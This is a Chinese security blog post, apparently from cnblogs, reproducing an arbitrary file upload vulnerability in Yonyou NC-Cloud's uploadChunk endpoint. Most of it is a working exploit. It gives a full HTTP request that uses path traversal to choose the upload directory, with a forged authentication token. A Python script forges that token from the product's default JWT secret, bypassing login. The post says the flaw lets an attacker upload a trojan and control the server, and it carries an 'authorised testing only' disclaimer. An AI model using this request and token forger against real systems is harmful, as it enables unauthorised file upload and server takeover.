首页 > 其他分享 >【漏洞复现】用友NC-Cloud系统uploadChunk存在任意文件上传漏洞

【漏洞复现】用友NC-Cloud系统uploadChunk存在任意文件上传漏洞

时间:2024-02-11 23:22:22浏览次数:34  
标签:用友 NC 漏洞 复现 uploadChunk 上传 Cloud

阅读须知

  花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他行为!!!

产品介绍

  用友NC是“企业资源规划(Enterprise Resource Planning)”的缩写,是指用友软件股份有限公司开发的一套企业管理软。用友NC系统是一种集成管理企业各项业务流程的信息化解决方案。该系统涵盖了财务、人力资源、供应链管理等多个方面,旨在帮助企业提高运营效率、优化资源利用、提升管理水平。

漏洞描述

  用友NC Cloud uploadChunk文件存在任意文件上传漏洞,攻击者通过此漏洞可实现上传木马文件,控制服务器。

漏洞影响

  未知

复现环境

  app="用友-NC-Cloud"

 漏洞复现

POC如下:

 1 POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
 2 Host: 
 3 User-Agent: Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)
 4 Accept-Encoding: gzip, deflate
 5 Accept: */*
 6 Connection: close
 7 accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
 8 Content-Length: 148
 9 Content-Type: multipart/form-data; boundary=de7a6692c03f903d173515933ee6f161
10 
11 --de7a6692c03f903d173515933ee6f161
12 Content-Disposition: form-data; name="file"; filename="test.txt"
13 
14 test
15 --de7a6692c03f903d173515933ee6f161--

poc中存在一个请求头:accessTokenNcc,该请求头为JWT,在网上找到一篇分析文章,点击即可跳转。通过这篇分析文章,发现用友NC存在一个默认的密钥,通过这个密钥构建JWT进行鉴权绕过,JWT生成的python脚本如下:(仅适用于用友NC-Cloud系统)

 1 import json
 2 import base64
 3 import hashlib
 4 import hmac
 5 
 6 strbase64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
 7 dictbase64 = {k:i for i,k in enumerate(strbase64)}
 8 dictbase64[b"="[0]] = 0
 9 stt = b"defaultSecret"
10 strarr = (stt[i-4:i] for i in range(4,len(stt)+1,4))
11 arrby = bytearray()
12 num = 0
13 for nuits in strarr:
14     rint = 0
15     for k in nuits:
16         if k == b"="[0]: num +=1 #统计尾部等号个数
17         rint = (rint << 6) + dictbase64[k]
18     arrby.extend(rint.to_bytes(3,"big"))
19 while num: #去除尾部0字符
20     arrby.pop()
21     num -= 1
22 secret_key = bytes(arrby)
23 headers = {
24           "alg": "HS256",
25           "typ": "JWT"
26         }
27 payload = {"userid": "1"}
28 first = base64.urlsafe_b64encode(json.dumps(headers, separators=(',', ':')).encode('utf-8').replace(b'=', b'')).decode('utf-8').replace('=', '')
29 second = base64.urlsafe_b64encode(json.dumps(payload, separators=(',', ':')).encode('utf-8').replace(b'=', b'')).decode('utf-8').replace('=', '')
30 first_second = f"{first}.{second}"
31 third = base64.urlsafe_b64encode(hmac.new(secret_key, first_second.encode('utf-8'), hashlib.sha256).digest()).decode('utf-8').replace('=', '')
32 token = ".".join([first, second, third])
33 print(token)

返回操作​成功即证明上传成功,访问test.txt确认。

上传成功,至此漏洞复现结束。

标签:用友,NC,漏洞,复现,uploadChunk,上传,Cloud
From: https://www.cnblogs.com/spmonkey/p/18013613

相关文章

  • 【漏洞复现】用友NC-Cloud PMCloudDriveProjectStateServlet接口存在JNDI注入漏洞
    阅读须知花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本......
  • #define和#include的区别
    #define和#include都是C语言中的预处理指令,“#”表示这是一条预处理命令。(1)、“define”为宏定义命令,“标识符”为所定义的宏名。#define是宏定义,例如:#definea45这条指令会导致程序所有单独出现的a被替换为45。(2)、#include是文件包含指令,例如#include<stdio.h> 这条指令......
  • #include使用引号“”和尖括号<>的区别?
    头文件被包含的方式(1)本地文件包含#include"test.h"使用双引号包含头文件,编译器首先在源文件所在目录下查找test.h文件,如果该头文件未找到,编译器就去标准路径查找头文件。如果依然找不到就提示编译错误。(2)库文件包含比如:#include<stdio.h>我们一般用尖括号包含标准库的头文......
  • confluence的安装及使用
    前言Confluence是一个专业的wiki程序。它是一个知识管理的工具,通过它可以实现团队成员之间的协作和知识共享。Confluence不是一个开源软件,非商业用途可以免费使用。Confluence使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息,文档协作,集体讨论。准备首先需......
  • 【Java 并发】【队列应用】【二】Tomcat的NioEndPoint中ConcurrentLinkedQueue 的使用
    1 前言这一节我们讲解Tomcat的NioEndPoint中ConcurrentLinkedQueue的使用。2  Tomcat的容器结构本节讲解apache-tomcat-7.0.32-src源码中ConcurrentLinkedQueue的使用。首先介绍Tomcat的容器结构以及NioEndPoint的作用,以便后面能够更加平滑地切入话题,如图11-4所示......
  • SharePoint Online 列表的 Audience Targeting
    前言最近,碰到一个需求,用户希望列表的视图,不被管理员以外的任何人看到,这样数据会更加安全。正文1.这时候,我们就需要用到列表的AudienceTargeting功能了,我们首先要去到列表设置,如下图:2.进去以后启用列表的AudienceTargeting,如下图:3.我们去到列表视......
  • 各种bin在多种情况下漏洞利用的理论和实践
    先看一下main_arena中的大致结构:largebinattck此图不完全正确,其中largebin里的chunk如果是小组中最前面的那个chunk,并且大组中只有一个小组,bk_nextsize和fd_nextsize就都指向自己,且链表当中最后一个chunk的bk和最前面的chunk的fd指针指向头部,如果是小组中非最前面的chunk,则b......
  • C. Grouping Increases
    原题链接经过若干组数据发现贪心可行性后试图证明请移步code#include<bits/stdc++.h>usingnamespacestd;intmain(){intt;cin>>t;while(t--){intn,ans=0;cin>>n;intx=2e9,y=3e9;for(inti=1;i<=n;i++)......
  • The 18th Heilongjiang Provincial Collegiate Programming Contest
    A.MagicComputer看题目猜规律#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongusingvi=vector<int>;usingi32=int32_t;constintmod=998244353;intpower(intx,inty){intans=1;while(y){if(y&......
  • 【Azure Function】Azure Function中使用 Java 8 的安全性问题
    问题描述使用AzureFunction,环境是Linux的Java8。目前OracleJavaJDK8,11,17和OpenJDK8/11/17都在存在漏洞受影响版本的范围内。OpenJDK                 CVEnumbers:    CVE‑2023‑21954CVE‑2023‑21938CVE‑2023‑21937CVE......